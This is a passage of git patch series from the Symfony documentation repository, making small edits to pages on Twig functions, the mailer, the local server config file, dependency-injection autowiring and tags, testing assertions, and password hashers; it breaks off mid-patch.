@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/4.4
+    $ git checkout -b my_changes upstream/5.4
 
     # ... do your changes
 
@@ -254,8 +254,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 4.4,
-your changes should always be based on the ``4.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 5.4,
+your changes should always be based on the ``5.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From 955d73198ae8a9caae57db2f289378562e289009 Mon Sep 17 00:00:00 2001
From: Nextpage <92269411+nxtpge@users.noreply.github.com>
Date: Sun, 25 Dec 2022 15:42:32 +0100
Subject: [PATCH 2649/5766] [Contributing] [Code] Add a step for forking in
 "Proposing a Change"

---
 contributing/code/pull_requests.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 40e11e73364..fa2306f613c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -87,6 +87,8 @@ Get the Symfony source code:
 
 * Fork the `Symfony repository`_ (click on the "Fork" button);
 
+* Uncheck the "Copy the ``X.Y`` branch only";
+
 * After the "forking action" has completed, clone your fork locally
   (this will create a ``symfony`` directory):
 

From 852824e301a2bfdf7280cd78cfb67de03c89371e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 21:18:20 +0100
Subject: [PATCH 2650/5766] [FrameworkBundle][HttpKernel][TwigBridge] Add an
 helper to generate fragments URL

---
 reference/twig_reference.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e905a4d2b05..c0e074dfa8b 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -63,6 +63,28 @@ falls back to the behavior of `render`_ otherwise.
     in the function name, e.g. ``render_hinclude()`` will use the hinclude.js
     strategy. This works for all ``render_*()`` functions.
 
+fragment_uri
+~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ fragment_uri(controller, absolute = false, strict = true, sign = true) }}
+
+``controller``
+    **type**: ``ControllerReference``
+``absolute`` *(optional)*
+    **type**: ``boolean`` **default**: ``false``
+``strict`` *(optional)*
+    **type**: ``boolean`` **default**: ``true``
+``sign`` *(optional)*
+    **type**: ``boolean`` **default**: ``true``
+
+Generates the URI of a fragment.
+
+.. versionadded:: 5.3
+
+    The ``fragment_uri()`` function was introduced in Symfony 5.3.
+
 controller
 ~~~~~~~~~~
 

From e4f30166c2908c3e93327f3661db53c5a93241ca Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 21:32:10 +0100
Subject: [PATCH 2651/5766] [Translation] Translatable parameters

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 366c64c8517..de6bdd12b84 100644
--- a/translation.rst
+++ b/translation.rst
@@ -345,6 +345,10 @@ Templates are now much simpler because you can pass translatable objects to the
     <h1>{{ message|trans }}</h1>
     <p>{{ status|trans }}</p>
 
+.. tip::
+
+    The translation parameters can also be a :class:`Symfony\\Component\\Translation\\TranslatableMessage`.
+
 .. tip::
 
     There's also a :ref:`function called t() <reference-twig-function-t>`,

From 5c1771fbd5b88b0caac5d8f8d319a1d0e50e765a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 22:02:41 +0100
Subject: [PATCH 2652/5766] [Mailer] Add a way to change the Bus transport
 dynamically

---
 mailer.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 45be91a7cc4..e87e985d96d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1333,6 +1333,18 @@ disable asynchronous delivery.
     The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
+Bus transport can also be selected by
+adding an ``X-Bus-Transport`` header (which will remove automatically from
+the final message)::
+
+    // Use the bus transport "app.another_bus":
+    $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');
+    $mailer->send($email);
+
+.. versionadded:: 6.2
+
+    The ``X-Bus-Transport`` header support was introduced in Symfony 6.2.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 50cdaf61974297e7f11d213757e9fefe226f84d5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 27 Dec 2022 09:39:52 +0100
Subject: [PATCH 2653/5766] fix tilde not rendered in filesystem doc

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index cf6166d78a5..3b6c92ad6fa 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -352,7 +352,7 @@ following rules iteratively until no further processing can be done:
 - root paths ("/" and "C:/") always terminate with a slash;
 - non-root paths never terminate with a slash;
 - schemes (such as "phar://") are kept;
-- replace "~" with the user's home directory.
+- replace ``~`` with the user's home directory.
 
 You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
 

From a6f75ecad4ea6137fd0b5f4d43e809856724989c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 12:56:41 +0100
Subject: [PATCH 2654/5766] Link to a reference

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index c0e074dfa8b..5f89688991b 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -79,7 +79,7 @@ fragment_uri
 ``sign`` *(optional)*
     **type**: ``boolean`` **default**: ``true``
 
-Generates the URI of a fragment.
+Generates the URI of :ref:`a fragment <fragments-path-config>`.
 
 .. versionadded:: 5.3
 

From cab13941d19fd4ff07d66208ce8f890729c6a8aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 13:01:35 +0100
Subject: [PATCH 2655/5766] Remove a versionadded directive

---
 reference/twig_reference.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 735979f8c76..169ba176bb3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -81,10 +81,6 @@ fragment_uri
 
 Generates the URI of :ref:`a fragment <fragments-path-config>`.
 
-.. versionadded:: 5.3
-
-    The ``fragment_uri()`` function was introduced in Symfony 5.3.
-
 controller
 ~~~~~~~~~~
 

From e435d2c9be5aab0c6c3f3d7a773bde7727f64ee4 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 26 Dec 2022 06:53:53 -0600
Subject: [PATCH 2656/5766] inline the constructor

---
 form/data_transformers.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index ff3b25147fc..8258ee2794a 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -177,11 +177,8 @@ to and from the issue number and the ``Issue`` object::
 
     class IssueToNumberTransformer implements DataTransformerInterface
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
+        public function __construct(private EntityManagerInterface $entityManager)
         {
-            $this->entityManager = $entityManager;
         }
 
         /**

From 399076b9508b45cb83f11df80d7f35be9f09ed70 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 15:20:48 +0100
Subject: [PATCH 2657/5766] Minor tweak

---
 mailer.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2e8b729a90d..a1d2577def5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1342,9 +1342,8 @@ disable asynchronous delivery.
     The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
-Bus transport can also be selected by
-adding an ``X-Bus-Transport`` header (which will remove automatically from
-the final message)::
+You can also select the transport by adding an ``X-Bus-Transport`` header (which
+will be remove automatically from the final message)::
 
     // Use the bus transport "app.another_bus":
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');

From 76341b28d62a6d6d986d0a96abf04225704b9f9e Mon Sep 17 00:00:00 2001
From: Erwan Richard <erwan.richard@protonmail.com>
Date: Tue, 27 Dec 2022 11:18:50 +0100
Subject: [PATCH 2658/5766] Fix choice_label

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 2fa79d37a22..63bca396c4b 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -63,7 +63,7 @@ dots or spaces). If you need more flexibility for these labels, use the
 
     ->add('textAlign', EnumType::class, [
         'class' => TextAlign::class,
-        'choice_label' => match ($choice) {
+        'choice_label' => fn ($choice) => match ($choice) {
             TextAlign::Left => 'text_align.left.label',
             TextAlign::Center => 'text_align.center.label',
             TextAlign::Right  => 'text_align.right.label',

From 4f17fcb9e271c45492d383eb79dfdd28e1a34211 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:55:02 +0100
Subject: [PATCH 2659/5766] Symfony CLI: document the .symfony.local.yaml
 config file

---
 setup/symfony_server.rst | 36 +++++++++++++++++++++++++++++++++---
 1 file changed, 33 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..37cbc767ccd 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -284,16 +284,46 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
-Configuring Workers
--------------------
+Configuration file
+------------------
 
 .. caution::
 
     This feature is experimental and could change or be removed at any time
     without prior notice.
 
+There are several options that you can set using a ``.symfony.local.yaml`` config file:
+
+.. code-block:: yaml
+
+    # Sets domain1.wip and domain2.wip for the current project
+    proxy:
+        domains:
+            - domain1
+            - domain2
+
+    http:
+        document_root: public/ # Path to the project document root
+        passthru: index.php # Project passthru index
+        port: 8000 # Force the port that will be used to run the server
+        preferred_port: 8001 # Preferred HTTP port [default: 8000]
+        p12: path/to/p12_cert # Name of the file containing the TLS certificate to use in p12 format
+        allow_http: true # Prevent auto-redirection from HTTP to HTTPS
+        no_tls: true # Use HTTP instead of HTTPS
+        daemon: true # Run the server in the background
+        use_gzip: true # Toggle GZIP compression
+
+.. caution::
+
+    Setting domains in this configuration file will override any domains you set
+    using the ``proxy:domain:attach`` command for the current project when you start
+    the server.
+
+Configuring Workers
+~~~~~~~~~~~~~~~~~~~
+
 If you like some processes to start automatically, along with the webserver
-(``symfony server:start``), add a configuration file to your project:
+(``symfony server:start``), you can set them in the YAML configuration file:
 
 .. code-block:: yaml
 

From 1c7b68db0a9488d84b9447627aedf57b151f78ad Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 27 Dec 2022 22:39:35 +0100
Subject: [PATCH 2660/5766] [DependencyInjection] Add env and param parameters
 for Autowire attribute

---
 service_container/autowiring.rst | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 043f2bd25ed..7e1494657d9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -564,8 +564,8 @@ logic about those arguments::
 
     The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
-The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`
-and even :doc:`complex expressions </service_container/expression_language>`::
+The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
+:doc:`complex expressions </service_container/expression_language>` and even :ref:`environment variables <config-env-vars>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -580,17 +580,26 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             #[Autowire('%kernel.project_dir%/data')]
             string $dataDir,
 
-            #[Autowire('%kernel.debug%')]
+            // or use argument "param"
+            #[Autowire(param: 'kernel.debug')]
             bool $debugMode,
 
-            // and expressions
+            // expressions
             #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
+
+            // environment variable
+            #[Autowire(env: 'SOME_ENV_VAR')]
+            string $senderName
         ) {
         }
         // ...
     }
 
+.. versionadded:: 6.3
+
+    The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)

From 0b41f1cdf5a20be9516f4a61008592677b0f27db Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 28 Dec 2022 09:21:47 +0100
Subject: [PATCH 2661/5766] notifier - do not display todo doc on site

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d56cd3534c7..040723bf6d9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -749,9 +749,9 @@ all configured texter and chatter transports only in the ``dev`` (and/or
                 slack: 'null://null'
 
 .. TODO
-    - Using the message bus for asynchronous notification
-    - Describe notifier monolog handler
-    - Describe notification_on_failed_messages integration
+..    - Using the message bus for asynchronous notification
+..    - Describe notifier monolog handler
+..    - Describe notification_on_failed_messages integration
 
 Learn more
 ----------

From dc1ed0b1f868e6e533292e3ebbee1b180d7978a3 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 30 Dec 2022 08:16:50 +0100
Subject: [PATCH 2662/5766] Add information about profile auto-cleanup

---
 console/calling_commands.rst |  2 +-
 profiler.rst                 | 11 ++++++++++-
 2 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 2defb04d49a..001dc47e35e 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -58,6 +58,6 @@ method)::
 
 .. note::
 
-    Most of the times, calling a command from code that is not executed on the
+    Most of the time, calling a command from code that is not executed on the
     command line is not a good idea. The main reason is that the command's
     output is optimized for the console and not to be passed to other commands.
diff --git a/profiler.rst b/profiler.rst
index 42e925b89c8..1cce51d75cd 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -35,10 +35,19 @@ Symfony Profiler, which will look like this:
     in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler``
     URL to see all profiles.
 
+.. versionadded:: 6.3
+
+    Profile garbage collection was introduced in Symfony 6.3.
+
+.. note::
+
+    To limit the storage used by profiles on disk, they are probabilistically
+    removed after 2 days.
+
 Accessing Profiling Data Programmatically
 -----------------------------------------
 
-Most of the times, the profiler information is accessed and analyzed using its
+Most of the time, the profiler information is accessed and analyzed using its
 web-based interface. However, you can also retrieve profiling information
 programmatically thanks to the methods provided by the ``profiler`` service.
 

From d937f048474fd9b7f8747250fb4b5770426fb24a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 30 Dec 2022 08:53:16 +0100
Subject: [PATCH 2663/5766] Add html_to_text_converter config docs

---
 mailer.rst                       | 32 +++++++++++++++++++++-----------
 reference/configuration/twig.rst | 19 +++++++++++++++++++
 2 files changed, 40 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a1d2577def5..7c8ab512493 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -717,12 +717,22 @@ method of the ``TemplatedEmail`` class and also to a special variable called
 Text Content
 ~~~~~~~~~~~~
 
-When the text content of a ``TemplatedEmail`` is not explicitly defined, mailer
-will generate it automatically by converting the HTML contents into text. If you
-have `league/html-to-markdown`_ installed in your application,
-it uses that to turn HTML into Markdown (so the text email has some visual appeal).
-Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the original
-HTML contents.
+When the text content of a ``TemplatedEmail`` is not explicitly defined, it is
+automatically generated from the HTML contents.
+
+Symfony uses the following strategy when generating the text version of an
+email:
+
+* If an explicit HTML to text converter has been configured (see
+  :ref:`twig.mailer.html_to_text_converter
+  <config-twig-html-to-text-converter>`), it calls it;
+
+* If not, and if you have `league/html-to-markdown`_ installed in your
+  application, it uses it to turn HTML into Markdown (so the text email has
+  some visual appeal);
+
+* Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the
+  original HTML contents.
 
 If you want to define the text content yourself, use the ``text()`` method
 explained in the previous sections or the ``textTemplate()`` method provided by
@@ -732,13 +742,13 @@ the ``TemplatedEmail`` class:
 
     + use Symfony\Bridge\Twig\Mime\TemplatedEmail;
 
-    $email = (new TemplatedEmail())
-        // ...
+     $email = (new TemplatedEmail())
+         // ...
 
-        ->htmlTemplate('emails/signup.html.twig')
+         ->htmlTemplate('emails/signup.html.twig')
     +     ->textTemplate('emails/signup.txt.twig')
-        // ...
-    ;
+         // ...
+     ;
 
 .. _mailer-twig-embedding-images:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 54961707833..ce6dd45a772 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -302,6 +302,25 @@ globals
 It defines the global variables injected automatically into all Twig templates.
 Learn more about :doc:`Twig global variables </templating/global_variables>`.
 
+mailer
+~~~~~~
+
+.. _config-twig-html-to-text-converter:
+
+html_to_text_converter
+......................
+
+**type**: ``string`` **default**: ````
+
+.. versionadded:: 6.2
+
+    The ``html_to_text_converter`` option was introduced in Symfony 6.2.
+
+The service implementing
+:class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
+that will be used to automatically create the text part of an email from its
+HTML contents when not explicitely defined.
+
 number_format
 ~~~~~~~~~~~~~
 

From f6bd7ebd7883c7c3eb20671b8ef228b87971195b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Dec 2022 15:02:26 +0100
Subject: [PATCH 2664/5766] Typo

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index ce6dd45a772..5e5ad16c675 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -319,7 +319,7 @@ html_to_text_converter
 The service implementing
 :class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
 that will be used to automatically create the text part of an email from its
-HTML contents when not explicitely defined.
+HTML contents when not explicitly defined.
 
 number_format
 ~~~~~~~~~~~~~

From 11596b0211886736c1bf14b9fc8ab1123c9c1dbd Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 31 Dec 2022 14:16:12 +0100
Subject: [PATCH 2665/5766] Document MessageEvent::reject()

---
 mailer.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 7c8ab512493..759fed60570 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1483,6 +1483,20 @@ the email is sent::
         // do something with the message
     }
 
+If you want to stop the Message from being sent, call ``reject()`` (it will
+also stop the event propagation)::
+
+    use Symfony\Component\Mailer\Event\MessageEvent;
+
+    public function onMessage(MessageEvent $event): void
+    {
+        $event->reject();
+    }
+
+.. versionadded:: 6.3
+
+    The ``reject()`` method was introduced in Symfony 6.3.
+
 .. tip::
 
     When using a ``MessageEvent`` listener to

From bdbb3deb4e39e603308321769d84aaced83e45f1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 13:26:13 +0100
Subject: [PATCH 2666/5766] [Intl] Add a special locale to strip emojis

---
 components/string.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 29a74136f63..11db53d4442 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -552,6 +552,17 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
+If you want to strip emojis from a string, you can also use the special
+``strip`` locale::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji('strip');
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
+    // $slug = 'a-and-a';
+
 .. _string-inflector:
 
 Inflector

From df5014399b6c2b793510d94c3dc8ebb1aac7c187 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 16:17:29 +0100
Subject: [PATCH 2667/5766] [DependencyInjection] Allow injecting the current
 env into php config closures

---
 service_container.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index f2be38267d6..9eca7a49d1d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1186,6 +1186,22 @@ If you want to pass the second, you'll need to :ref:`manually wire the service <
     and the automatically loaded service will be passed - by default - when you type-hint
     ``SiteUpdateManager``. That's why creating the alias is a good idea.
 
+When using PHP closures to configure your services, it is possible to automatically
+inject the current environment value by adding a string argument named ``$env`` to
+the closure::
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/packages/my_config.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator, string $env) {
+            // `$env` is automatically filled in, you can configure your
+            // services depending on which environment you're on
+        };
+
 Learn more
 ----------
 

From 1928fb67e40bb4ddcee6382edfb4fe03c3b1051b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jan 2023 22:24:00 +0100
Subject: [PATCH 2668/5766] [DomCrawler][FrameworkBundle] Add
 assertSelectorCount

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 4f8c64f89bd..d1dc6d0e365 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1020,6 +1020,8 @@ Crawler Assertions
 ``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
     Asserts that the given selector does (not) match at least one element
     in the response.
+``assertSelectorCount(int $expectedCount, string $selector, string $message = '')``
+    Asserts that the expected number of selector elements are in the response
 ``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
     Asserts that the first element matching the given selector does (not)
     contain the expected text.
@@ -1039,6 +1041,10 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
+.. versionadded:: 6.3
+
+    The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
+
 Mailer Assertions
 .................
 

From 54d88e1c468852cd5ad556a61a386642dfa31f2a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 15:43:53 +0100
Subject: [PATCH 2669/5766] [Console] Add placeholder formatters per
 ProgressBar instance

---
 components/console/helpers/progressbar.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 94f2a550f80..fcf1387d653 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -337,6 +337,7 @@ display that are not available in the list of built-in placeholders, you can
 create your own. Let's see how you can create a ``remaining_steps`` placeholder
 that displays the number of remaining steps::
 
+    // This definition is globally registered for all ProgressBar instances
     ProgressBar::setPlaceholderFormatterDefinition(
         'remaining_steps',
         function (ProgressBar $progressBar, OutputInterface $output) {
@@ -344,6 +345,19 @@ that displays the number of remaining steps::
         }
     );
 
+It is also possible to set a placeholder formatter per ProgressBar instance
+with the ``setPlaceholderFormatter`` method::
+
+    $progressBar = new ProgressBar($output, 3, 0);
+    $progressBar->setFormat('%countdown% [%bar%]');
+    $progressBar->setPlaceholderFormatter('countdown', function (ProgressBar $progressBar) {
+        return $progressBar->getMaxSteps() - $progressBar->getProgress();
+    });
+
+.. versionadded:: 6.3
+
+    The ``setPlaceholderFormatter()`` method was introduced in Symfony 6.3.
+
 Custom Messages
 ~~~~~~~~~~~~~~~
 

From 874f0260708961aad282888ce2ade08e5a6ccada Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Jan 2023 09:34:10 +0100
Subject: [PATCH 2670/5766] Add the versionadded directive

---
 components/string.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 11db53d4442..e7e9a024d70 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -552,8 +552,7 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
-If you want to strip emojis from a string, you can also use the special
-``strip`` locale::
+If you want to strip emojis from slugs, use the special ``strip`` locale::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -563,6 +562,10 @@ If you want to strip emojis from a string, you can also use the special
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-and-a';
 
+.. versionadded:: 6.3
+
+    The option to strip emojis from slugs was introduced in Symfony 6.3.
+
 .. _string-inflector:
 
 Inflector

From aac1e7db83e38238754f8e83cb185942c851e8de Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 3 Jan 2023 13:57:22 +0100
Subject: [PATCH 2671/5766] [DependencyInjection] Add exclude to TaggedIterator
 and TaggedLocator

---
 service_container/tags.rst | 70 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 70 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9c89ef8c85a..e5e996a076e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -591,6 +591,76 @@ application handlers::
         }
     }
 
+If for some reason you need to exclude one or multiple services when using a tagged
+iterator, this can be done by using the ``exclude`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # This is the service we want to exclude, even if the 'app.handler' tag is attached
+            App\Handler\Three:
+                tags: ['app.handler']
+
+            App\HandlerCollection:
+                arguments:
+                    - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'] }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached -->
+                <service id="App\Handler\Three">
+                    <tag name="app.handler"/>
+                </service>
+
+                <service id="App\HandlerCollection">
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_iterator" tag="app.handler">
+                        <exclude>App\Handler\Three</exclude>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // This is the service we want to exclude, even if the 'app.handler' tag is attached
+            $services->set(App\Handler\Three::class)
+                ->tag('app.handler')
+            ;
+
+            $services->set(App\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class])])
+            ;
+        };
+
+.. versionadded:: 6.1
+
+    The ``exclude`` option was introduced in Symfony 6.1.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 1d0949338e3e4afd39e7429d53897ec8ca81ab6d Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Mon, 2 Jan 2023 09:21:31 +0100
Subject: [PATCH 2672/5766] [Security] Prevent unneeded implementation of
 `PasswordHasherAwareInterface` when migrating passwords

---
 security/passwords.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 2a2f7acc336..76ff9651c08 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,7 +134,7 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-        
+
             # config/packages/test/security.yaml
             security:
                 # ...
@@ -544,8 +544,10 @@ migration by returning ``true`` in the ``needsRehash()`` method::
         }
     }
 
-Named Password Hashers
-----------------------
+.. _named-password-hashers:
+
+Dynamic Password Hashers
+------------------------
 
 Usually, the same password hasher is used for all users by configuring it
 to apply to all instances of a specific class. Another option is to use a
@@ -646,6 +648,12 @@ the name of the hasher to use::
         }
     }
 
+.. caution::
+
